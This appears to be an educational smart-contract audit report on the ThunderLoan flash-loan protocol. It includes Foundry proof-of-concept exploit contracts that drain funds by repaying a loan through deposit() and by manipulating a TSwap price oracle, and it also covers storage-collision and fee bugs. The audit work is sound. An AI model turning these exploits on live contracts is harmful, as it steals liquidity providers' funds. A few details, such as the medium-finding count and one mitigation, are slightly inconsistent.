ThunderLoan Protocol Audit Report

Version 1.0

web3pavlou

August 11, 2026

ThunderLoan Protocol Audit Report

web3pavlou

August 11, 2026

Prepared by: web3pavlou

Table of Contents

Protocol Summary

This project is meant to give users a way to create flash loans and give liquidity providers a way to earn money of their capital per se. Liquidity providers can deposit assets into `ThunderLoan` and be given `AssetTokens` in return. These `AssetTokens` gain interest over time depending on how often people take out flash loans!

Disclaimer

web3pavlou entity makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by any team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

I use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

Scope

```
Commit Hash: 8803f851f6b37e99eab2e94b4690c8b70e26b3f6
In Scope:
#-- interfaces
   #-- IFlashLoanReceiver.sol
   #-- IPoolFactory.sol
   #-- ITSwapPool.sol
```

```
    #-- IThunderLoan.sol
#-- protocol
    #-- AssetToken.sol
    #-- OracleUpgradeable.sol
    #-- ThunderLoan.sol
#-- upgradedProtocol
     #-- ThunderLoanUpgraded.sol
```

Roles

- Owner: The owner of the protocol who has the power to upgrade the implementation.
- Liquidity Provider: A user who deposits assets into the protocol to earn interest.
-

  User: A user who takes out flash loans from the protocol.

Executive Summary

This is an educational audit review from cyfrin-updraft's educational material with some additions from my end.

Issues found

Severity	Number of Issues Found
High	4
Medium	2
Low	3
Informational	6
Total	**15**

High Risk Findings

[H-1] Erroneous `ThunderLoan::updateExchange` in the `deposit` function causes protocol to think it has more fees than it really does which blocks redemption and incorrectly sets the exchange rate.

Description In the ThunderLoan system the `exchangeRate` is responsible for calculating the exchange rate between assetTokens and the underlying tokens. In a way, it's responsible for keeping track of how many fees to give to liquidity providers.

However the `ThunderLoan::deposit` function updates this rate, without collecting any fees!

```
1  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
2          AssetToken assetToken = s_tokenToAssetToken[token];
3          uint256 exchangeRate = assetToken.getExchangeRate();
4
5          uint256 mintAmount = (amount * assetToken.
               EXCHANGE_RATE_PRECISION()) / exchangeRate;
6          emit Deposit(msg.sender, token, amount);
7          assetToken.mint(msg.sender, mintAmount);
8
9
10 @>         uint256 calculatedFee = getCalculatedFee(token, amount);
11 @>         assetToken.updateExchangeRate(calculatedFee);
12
13         token.safeTransferFrom(msg.sender, address(assetToken), amount)
               ;
14     }
```

Impact There are several impacts to this bug.

1. The `redeem` function is blocked because the protocol thinks the owed tokens is more than it has.
2. Rewards are incorrectly calculated, leading to liquidity providers potentially getting way more or less than they deserve.

Proof of Concepts

1. LP deposits
2. Users takes out a flash loan
3. It is now impossible for LP to redeem

Proof of code

Place the following into `ThunderLoanTest.t.sol`

```
    function testRedeemAfterLoan() public setAllowedToken hasDeposits {
        uint256 amountToBorrow = AMOUNT * 10;
        uint256 calculatedFee = thunderLoan.getCalculatedFee(tokenA,
            amountToBorrow);

        vm.startPrank(user);
        tokenA.mint(address(mockFlashLoanReceiver), calculatedFee);
        thunderLoan.flashloan(address(mockFlashLoanReceiver), tokenA,
            amountToBorrow, "");
        vm.stopPrank();

        uint256 amountToRedeem = type(uint256).max;
        vm.startPrank(liquidityProvider);
        thunderLoan.redeem(tokenA, amountToRedeem);
        vm.stopPrank();
    }
```

Recommended mitigation Remove the incorrectly updated exchange rate from `deposit`

```
function deposit(IERC20 token, uint256 amount) external revertIfZero(
    amount) revertIfNotAllowedToken(token) {
        AssetToken assetToken = s_tokenToAssetToken[token];
        uint256 exchangeRate = assetToken.getExchangeRate();

        uint256 mintAmount = (amount * assetToken.
            EXCHANGE_RATE_PRECISION()) / exchangeRate;
        emit Deposit(msg.sender, token, amount);
        assetToken.mint(msg.sender, mintAmount);


-        uint256 calculatedFee = getCalculatedFee(token, amount);
-        assetToken.updateExchangeRate(calculatedFee);

        token.safeTransferFrom(msg.sender, address(assetToken), amount)
            ;
    }
```

[H-2] `ThunderLoan::flashloan` can be repaid via `deposit()` instead of `repay()`, allowing an attacker to mint `AssetToken` shares for free and drain protocol funds.

Description `flashloan()` verifies repayment purely by comparing `token.balanceOf(address(assetToken))` before and after the external call to the receiver

```
uint256 endingBalance = token.balanceOf(address(assetToken));
if (endingBalance < startingBalance + fee) {
    revert ThunderLoan__NotPaidBack(startingBalance + fee,
        endingBalance);
```

```
4 }
```

This check only cares that the token balance of `assetToken` went up by at least `amount + fee`. It has no opinion on how those tokens got there. Since `deposit()` also transfers tokens into `address(assetToken)`, a flashloan receiver can call `deposit` instead of `repay` from within `executeOperation`.This satisfies the balance check(so the loan "succeeds") while simultaneously minting the caller `AssetToken` shares for the exact amount they were supposed to be repaying, not depositing. The attacker can then immediately `redeem()` those shares and walk away with the borrowed funds plus a claim on the pool's existing liquidity.

Impact Total loss of funds for the protocol's liquidity providers — a single flash loan turns into a free, permanent claim on the pool.

Proof of Concepts

Proof of code

Place the following into `ThunderLoanTest.t.sol`

```
1     function testUseDepositInsteadOfRepayToStealFunds() public
          setAllowedToken hasDeposits {
2         vm.startPrank(user);
3         uint256 amountToBorrow = 50e18;
4         uint256 fee = thunderLoan.getCalculatedFee(tokenA,
              amountToBorrow);
5         DepositOverRepay dor = new DepositOverRepay(address(thunderLoan
              ));
6         tokenA.mint(address(dor), fee);
7         thunderLoan.flashloan(address(dor), tokenA, amountToBorrow, "")
              ;
8         dor.redeemMoney();
9         vm.stopPrank();
10        assert(tokenA.balanceOf(address(dor)) > 50e18 + fee);
11    }
12
13    contract DepositOverRepay is IFlashLoanReceiver {
14    ThunderLoan thunderLoan;
15    AssetToken assetToken;
16    IERC20 s_token;
17
18    constructor(address _thunderLoan) {
19        thunderLoan = ThunderLoan(_thunderLoan);
20    }
21
22    function executeOperation(
23        address token,
24        uint256 amount,
25        uint256 fee,
26        address,
```

```
27          /*initiator*/
28          bytes calldata /*params*/
29      )
30          external
31          returns (bool)
32      {
33          s_token = IERC20(token);
34          IERC20(token).approve(address(thunderLoan), amount + fee);
35          thunderLoan.deposit(IERC20(token), amount + fee);
36
37          assetToken = thunderLoan.getAssetFromToken(IERC20(token));
38
39          return true;
40      }
41
42      function redeemMoney() public {
43          uint256 amount = assetToken.balanceOf(address(this));
44          thunderLoan.redeem(s_token, amount);
45      }
46  }
```

The assertion passes: the attacker redeems for strictly more than what they borrowed plus the fee.

Recommended mitigation Option 1(minimal fix) Block `deposit()` during an active flash loan. `s_currentlyFlashLoaning[token]` is already flipped to **`true`** for the duration of the loan.Reject deposits while it's set:

```
1  + error ThunderLoan__CurrentlyFlashLoaning();
2
3  function deposit(IERC20 token, uint256 amount) external revertIfZero(
       amount) revertIfNotAllowedToken(token) {
4  +   if (s_currentlyFlashLoaning[token]) {
5  +       revert ThunderLoan__CurrentlyFlashLoaning();
6  +   }
7      AssetToken assetToken = s_tokenToAssetToken[token];
8  ...
9  }
```

Option 2(structural fix) Stop trusting raw balanceOf() as the repayment signal. The deeper issue is that `flashloan()` infers repayment from an ERC20 balance delta, which is fungible and origin-agnostic by design. Any function that moves tokens into `assetToken` can be repurposed as a fake repayments. A more robust fix is to have `repay()` be the only path that can satisfy the loan, by tracking expected repayment explicitly rather than diffing `balanceOf`:

```
1  +   mapping(IERC20 => uint256) private s_amountToRepay;
2
3  function flashloan(...) external ... {
4      ...
5  +    s_amountToRepay[token] = amount + fee;
```

```
6       s_currentlyFlashLoaning[token] = true;
7       assetToken.transferUnderlyingTo(receiverAddress, amount);
8       receiverAddress.functionCall(...);
9
10  +    if (s_amountToRepay[token] != 0) {
11  +        revert ThunderLoan__NotPaidBack(s_amountToRepay[token]);
12      }
13      s_currentlyFlashLoaning[token] = false;
14  }
15
16  function repay(IERC20 token, uint256 amount) public {
17      if (!s_currentlyFlashLoaning[token]) {
18          revert ThunderLoan__NotCurrentlyFlashLoaning();
19      }
20  +    s_amountToRepay[token] -= amount; // reverts on underflow if
        overpaying incorrectly, or clamp as needed
21      AssetToken assetToken = s_tokenToAssetToken[token];
22      token.safeTransferFrom(msg.sender, address(assetToken), amount);
23  }
```

This way, repayment is only ever recognized through `repay()`, explicitly decrementing a debt counter.

[H-3] Mixing up variable location causes storage collision in `ThunderLoan::s_flashLoanFee` and `ThunderLoan::s_currentlyFlashLoaning`, freezing protocol.

Description `ThunderLoan.sol` has 2 variables in the current order:

```
1       uint256 private s_feePrecision;
2       uint256 private s_flashLoanFee;
```

However, the upgraded contract `ThunderLoanUpgraded.sol` has them in a different order:

```
1       uint256 private s_flashLoanFee;
2       uint256 public constant FEE_PRECISION = 1e18;
```

Due to how solidity works after the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. You cannot adjust the position of storage variables and introducing and removing storage variables for constant variables breaks the storage locations as well.

Impact After the upgrade the `s_flashLoanFee` will have the value of `s_feePrecision`. This means that users who take out flash loans right after the upgrade will be charges the wrong fee.

More importantly the `s_currentlyFlashLoaning` mapping will start in the wrong storage slot.

Proof of Concepts

PoC

Place the following into `ThunderLoanTest.t.sol`

```
import { ThunderLoanUpgraded } from "../../src/upgradedProtocol/
    ThunderLoanUpgraded.sol";
.
.
.
    function testUpgradeBreaks() public {
        uint256 feeBeforeUpgrade = thunderLoan.getFee();
        vm.startPrank(thunderLoan.owner());
        ThunderLoanUpgraded upgraded = new ThunderLoanUpgraded();
        thunderLoan.upgradeToAndCall(address(upgraded), "");
        uint256 feeAfterUpgrade = thunderLoan.getFee();
        vm.stopPrank();

        console.log("fee before: ", feeBeforeUpgrade);
        console.log("fee after: ", feeAfterUpgrade);

        assert(feeBeforeUpgrade != feeAfterUpgrade);
    }
```

You can also see the storage layout difference by running `forge inspect ThunderLoan storage` and `forge inspect ThunderLoanUpgraded storage`

Recommended mitigation If you must remove the storage variable leave it as blank, as to not mess up with storage slots.

```
-    uint256 private s_flashLoanFee;
-    uint256 public constant FEE_PRECISION = 1e18;
+    uint256 private s_blank;
+    uint256 private s_flashLoanFee;
+    uint256 public constant FEE_PRECISION = 1e18;
```

[H-4] Fees are less for non standard ERC20 tokens

Description The calculated value of fees for non-standard ERC20 tokens –USDC in this case– appears lower compared to that of standard ERC20 when calling `ThunderLoan::getCalculatedFees()` and `ThunderLoanUpgraded::getCalculatedFees()`.

```
 function getCalculatedFee(IERC20 token, uint256 amount) public view
     returns (uint256 fee) {
       uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(
           token))) / s_feePrecision;
       fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
    }
```

```
//ThunderLoanUpgraded.sol
 function getCalculatedFee(IERC20 token, uint256 amount) public view
    returns (uint256 fee) {
        uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address
            (token))) / FEE_PRECISION;
        fee = (valueOfBorrowedToken * s_flashLoanFee) / FEE_PRECISION;
    }
```

Impact The fees for non standard ERC20 bring back significantly lower amount of fees for the protocol, fir the same real-world amount borrowed.

Proof of Concepts 1. Two tokens are borrowed from ThunderLoan for the exact same real-world value, at an identical oracle price, but one token uses 18 decimals and the other uses 6 (like USDC). 2. `getCalculatedFee()` returns a fee for the 6-decimal token that is ~1e12x smaller than the 18-decimal token's fee, purely because the function never accounts for the borrowed token's decimals.

Proof of Code

Place the following into ThunderLoanTest.t.sol

```

contract ERC20MockSixDecimals is ERC20Mock {
    function decimals() public pure override returns (uint8) {
        return 6;
    }
}

function testFeesAreLowerForNonStandardTokens() public {
    thunderLoan = new ThunderLoan();
    ERC20Mock tokenStandard = new ERC20Mock(); // 18 decimals
    ERC20MockSixDecimals tokenNonStandard = new ERC20MockSixDecimals();
        // 6 decimals
    proxy = new ERC1967Proxy(address(thunderLoan), "");
    BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth));

    address tswapPoolStandard = pf.createPool(address(tokenStandard));
    address tswapPoolNonStandard = pf.createPool(address(
        tokenNonStandard));

    thunderLoan = ThunderLoan(address(proxy));
    thunderLoan.initialize(address(pf));

    // Seed BOTH pools with IDENTICAL raw reserve amounts,
    // regardless of what that "means" for a 6-decimal token. This
        forces
    // getPriceOfOnePoolTokenInWeth() to return the exact same raw
        price for both tokens.
    vm.startPrank(liquidityProvider);
    tokenStandard.mint(liquidityProvider, 100e18);
    tokenStandard.approve(address(tswapPoolStandard), 100e18);
```

```
27      weth.mint(liquidityProvider, 200e18);
28      weth.approve(address(tswapPoolStandard), 100e18);
29      BuffMockTSwap(tswapPoolStandard).deposit(100e18, 100e18, 100e18,
            block.timestamp);
30
31      tokenNonStandard.mint(liquidityProvider, 100e18); // raw units,
            decimals irrelevant here
32      tokenNonStandard.approve(address(tswapPoolNonStandard), 100e18);
33      weth.approve(address(tswapPoolNonStandard), 100e18);
34      BuffMockTSwap(tswapPoolNonStandard).deposit(100e18, 100e18, 100e18,
             block.timestamp);
35      vm.stopPrank();
36
37      vm.startPrank(thunderLoan.owner());
38      thunderLoan.setAllowedToken(tokenStandard, true);
39      thunderLoan.setAllowedToken(tokenNonStandard, true);
40      vm.stopPrank();
41
42      // Sanity check: both pools must report the identical raw price now
43      assertEq(
44          BuffMockTSwap(tswapPoolStandard).getPriceOfOnePoolTokenInWeth()
                ,
45          BuffMockTSwap(tswapPoolNonStandard).
                getPriceOfOnePoolTokenInWeth()
46      );
47
48      // Borrow "10 tokens" of each, expressed in that token's own native
             decimals
49      uint256 feeStandard = thunderLoan.getCalculatedFee(tokenStandard,
            10e18); // 10 tokens, 18 decimals
50      uint256 feeNonStandard = thunderLoan.getCalculatedFee(
            tokenNonStandard, 10e6); // 10 tokens, 6 decimals
51
52      console.log("fee for 18-decimal token (10 tokens borrowed): ",
            feeStandard);
53      console.log("fee for 6-decimal token  (10 tokens borrowed): ",
            feeNonStandard);
54
55      // Same real-world amount borrowed, at an identical price, yet the
            6-decimal
56      // token's fee is ~1e12x smaller purely because getCalculatedFee
            never
57      // accounts for token decimals. Small residual delta is expected
            integer-division
58      // rounding (the 6-decimal amount loses more precision before the
            final multiply).
59      assertApproxEqAbs(feeStandard, feeNonStandard * 1e12, 1e12);
60  }
```

Recommended mitigation `getCalculatedFee()` treats amount as if it were always expressed in 18-decimal terms, since it only ever divides by `s_feePrecision` (1e18). This is only correct for

tokens that happen to use 18 decimals. Normalize amount to a common 18-decimal basis before applying the fee math, using the token's actual decimals():

```
+ import { IERC20Metadata } from "@openzeppelin/contracts/token/ERC20/extensions/IERC20Metadata.sol";

function getCalculatedFee(IERC20 token, uint256 amount) public view returns (uint256 fee) {
+    uint256 normalizedAmount = amount * (10 ** (18 - IERC20Metadata(address(token)).decimals()));
-    uint256 valueOfBorrowedToken = (amount * getPriceInWeth(address(token))) / s_feePrecision;
+    uint256 valueOfBorrowedToken = (normalizedAmount * getPriceInWeth(address(token))) / s_feePrecision;
     fee = (valueOfBorrowedToken * s_flashLoanFee) / s_feePrecision;
}
```

Apply the equivalent change to `ThunderLoanUpgraded::getCalculatedFee()`.

Medium Risk Findings

[M-2] Using TSwap as price oracle leads to price and oracle manipulation attacks

Description: The TSwap protocol is a constant product formula based AMM (automated market maker). The price of a token is determined by how many reserves are on either side of the pool. Because of this, it is easy for malicious users to manipulate the price of a token by buying or selling a large amount of the token in the same transaction, essentially ignoring protocol fees.

Impact: Liquidity providers will drastically reduced fees for providing liquidity.

Proof of Concept:

The following all happens in 1 transaction.

1. User takes a flash loan from `ThunderLoan` for 50 `tokenA`. They are charged the original fee `feeOne`. During the flash loan, they do the following:
    1. User sells 50 `tokenA`, tanking the price.
    2. Instead of repaying right away, the user takes out another flash loan for another 50 `tokenA`.
        1. Due to the fact that the way `ThunderLoan` calculates price based on the `TSwapPool` this second flash loan is substantially cheaper.

```
function getPriceInWeth(address token) public view returns (uint256) {
    address swapPoolOfToken = IPoolFactory(s_poolFactory).getPool(token);
```

```
3 @>      return ITSwapPool(swapPoolOfToken).
      getPriceOfOnePoolTokenInWeth();
4  }
```

3. The user then repays the first flash loan, and then repays the second flash loan via direct transfer due to the weirdness of the protocol which sets `s_currentlyFlashLoaning[token]== true`.

Proof of code

Place the following into `ThunderLoanTest.t.sol`

```
1     function testOracleManipulation() public {
2
3         thunderLoan = new ThunderLoan();
4         tokenA = new ERC20Mock();
5         proxy = new ERC1967Proxy(address(thunderLoan), "");
6         BuffMockPoolFactory pf = new BuffMockPoolFactory(address(weth))
              ;
7         address tswapPool = pf.createPool(address(tokenA));
8         thunderLoan = ThunderLoan(address(proxy));
9         thunderLoan.initialize(address(pf));
10
11        vm.startPrank(liquidityProvider);
12        tokenA.mint(liquidityProvider, 100e18);
13        tokenA.approve(address(tswapPool), 100e18);
14        weth.mint(liquidityProvider, 100e18);
15        weth.approve(address(tswapPool), 100e18);
16
17        BuffMockTSwap(tswapPool).deposit(100e18, 100e18, 100e18, block.
              timestamp);
18        vm.stopPrank();
19
20        vm.prank(thunderLoan.owner());
21        thunderLoan.setAllowedToken(tokenA, true);
22        vm.startPrank(liquidityProvider);
23        tokenA.mint(liquidityProvider, 1000e18);
24        tokenA.approve(address(thunderLoan), 1000e18);
25        thunderLoan.deposit(tokenA, 1000e18);
26        vm.stopPrank();
27
28
29        uint256 normalFeeCost = thunderLoan.getCalculatedFee(tokenA,
              100e18);
30        console.log("normal fee is: ", normalFeeCost); //
              0.296147410319118389
31        uint256 amountToBorrow = 50e18;
32        MaliciousFlashLoanReceiver flr = new MaliciousFlashLoanReceiver
              (
33            address(tswapPool), address(thunderLoan), address(
                  thunderLoan.getAssetFromToken(tokenA))
```

```
        );
        vm.startPrank(user);
        tokenA.mint(address(flr), 100e18);
        thunderLoan.flashloan(address(flr), tokenA, amountToBorrow, "")
            ;
        vm.stopPrank();

        uint256 attackFee = flr.feeOne() + flr.feeTwo();
        console.log("attack fee is:", attackFee); //
            0.214167600932190305
        assert(attackFee < normalFeeCost);
    }


contract MaliciousFlashLoanReceiver is IFlashLoanReceiver {
    ThunderLoan thunderLoan;
    address repayAddress;
    BuffMockTSwap tSwapPool;
    bool attacked;
    uint256 public feeOne;
    uint256 public feeTwo;

    constructor(address _tswapPool, address _thunderLoan, address
        _repayAddress) {
        tSwapPool = BuffMockTSwap(_tswapPool);
        thunderLoan = ThunderLoan(_thunderLoan);
        repayAddress = _repayAddress;
    }

    function executeOperation(
        address token,
        uint256 amount,
        uint256 fee,
        address,
        /*initiator*/
        bytes calldata /*params*/
    )
        external
        returns (bool)
    {
        if (!attacked) {
            feeOne = fee;
            attacked = true;
            uint256 wethBought = tSwapPool.getOutputAmountBasedOnInput
                (50e18, 100e18, 100e18);
            IERC20(token).approve(address(tSwapPool), 50e18);
            tSwapPool.swapPoolTokenForWethBasedOnInputPoolToken(50e18,
                wethBought, block.timestamp);

            thunderLoan.flashloan(address(this), IERC20(token), amount,
                "");
```

```
79
80              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
81          } else {
82              feeTwo = fee;
83              IERC20(token).transfer(address(repayAddress), amount + fee)
                    ;
84          }
85          return true;
86      }
87  }
```

Recommended Mitigation: Consider using a different price oracle mechanism, like a Chainlink price feed with or a Uniswap TWAP fallback oracle.

Low Risk Findings

[L-1] Empty Function Body - Consider commenting why

Instances (1):

```
1  File: src/protocol/ThunderLoan.sol
2
3  261:     function _authorizeUpgrade(address newImplementation) internal
       override onlyOwner { }
```

[L-2] Initializers could be front-run

Initializers could be front-run, allowing an attacker to either set their own values, take ownership of the contract, and in the best case forcing a re-deployment

Instances (6):

```
1  File: src/protocol/OracleUpgradeable.sol
2
3  11:     function __Oracle_init(address poolFactoryAddress) internal
       onlyInitializing {
```

```
1  File: src/protocol/ThunderLoan.sol
2
3  138:     function initialize(address tswapAddress) external initializer
       {
4
5  138:     function initialize(address tswapAddress) external initializer
       {
6
```

```
139:         __Ownable_init();

140:         __UUPSUpgradeable_init();

141:         __Oracle_init(tswapAddress);
```

[L-3] `ThunderLoan::updateFlashLoanFee` and `ThunderLoanUpgraded::updateFlashLoanFee` missing event

`ThunderLoan::updateFlashLoanFee()` and `ThunderLoanUpgraded::updateFlashLoanFee()` does not emit an event, so it is difficult to track changes in the value `s_flashLoanFee` off-chain.

```
function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > FEE_PRECISION) {
            revert ThunderLoan__BadNewFee();
        }
@>        s_flashLoanFee = newFee;
    }
```

Recommended mitigation

```
+       + event FeeUpdated(uint256 indexed newFee);
.
.
.
    function updateFlashLoanFee(uint256 newFee) external onlyOwner {
        if (newFee > FEE_PRECISION) {
            revert ThunderLoan__BadNewFee();
        }
+       emit FeeUpdated(s_flashLoanFee)
        s_flashLoanFee = newFee;
    }
```

Informational

[I-1] Poor Test Coverage

```
Running tests...
| File                                | % Lines        | % Statements
    | % Branches    | % Funcs        |
| ----------------------------------- | -------------- | --------------
    | ------------- | -------------- |
| src/protocol/AssetToken.sol         | 70.00% (7/10)  | 76.92% (10/13)
    | 50.00% (1/2)  | 66.67% (4/6)   |
```

```
| src/protocol/OracleUpgradeable.sol | 100.00% (6/6)   | 100.00% (9/9)
    | 100.00% (0/0) | 80.00% (4/5)   |
| src/protocol/ThunderLoan.sol       | 64.52% (40/62) | 68.35% (54/79)
    | 37.50% (6/16) | 71.43% (10/14) |
```

[I-2] Not using `__gap[50]` for future storage collision mitigation

[I-3] Different decimals may cause confusion. ie: AssetToken has 18, but asset has 6

[I-4] Doesn't follow https://eips.ethereum.org/EIPS/eip-3156

Recommended Mitigation: Aim to get test coverage up to over 90% for all files.

Gas

[GAS-1] Using bools for storage incurs overhead

Use `uint256(1)` and `uint256(2)` for true/false to avoid a Gwarmaccess (100 gas), and to avoid Gsset (20000 gas) when changing from 'false' to 'true', after having been 'true' in the past. See source.

Instances (1):

```
File: src/protocol/ThunderLoan.sol

98:     mapping(IERC20 token => bool currentlyFlashLoaning) private
    s_currentlyFlashLoaning;
```

[GAS-2] Using `private` rather than `public` for constants, saves gas

If needed, the values can be read from the verified contract source code, or if there are multiple values there can be a single getter function that returns a tuple of the values of all currently-public constants. Saves **3406-3606 gas** in deployment gas due to the compiler not having to create non-payable getter functions for deployment calldata, not having to store the bytes of the value outside of where it's used, and not adding another entry to the method ID table

Instances (3):

```
File: src/protocol/AssetToken.sol

25:     uint256 public constant EXCHANGE_RATE_PRECISION = 1e18;
```

```
File: src/protocol/ThunderLoan.sol

95:     uint256 public constant FLASH_LOAN_FEE = 3e15; // 0.3% ETH fee

96:     uint256 public constant FEE_PRECISION = 1e18;
```

[GAS-3] Unnecessary SLOAD when logging new exchange rate

In `AssetToken::updateExchangeRate`, after writing the `newExchangeRate` to storage, the function reads the value from storage again to log it in the `ExchangeRateUpdated` event.

To avoid the unnecessary SLOAD, you can log the value of `newExchangeRate`.

```
  s_exchangeRate = newExchangeRate;
- emit ExchangeRateUpdated(s_exchangeRate);
+ emit ExchangeRateUpdated(newExchangeRate);
```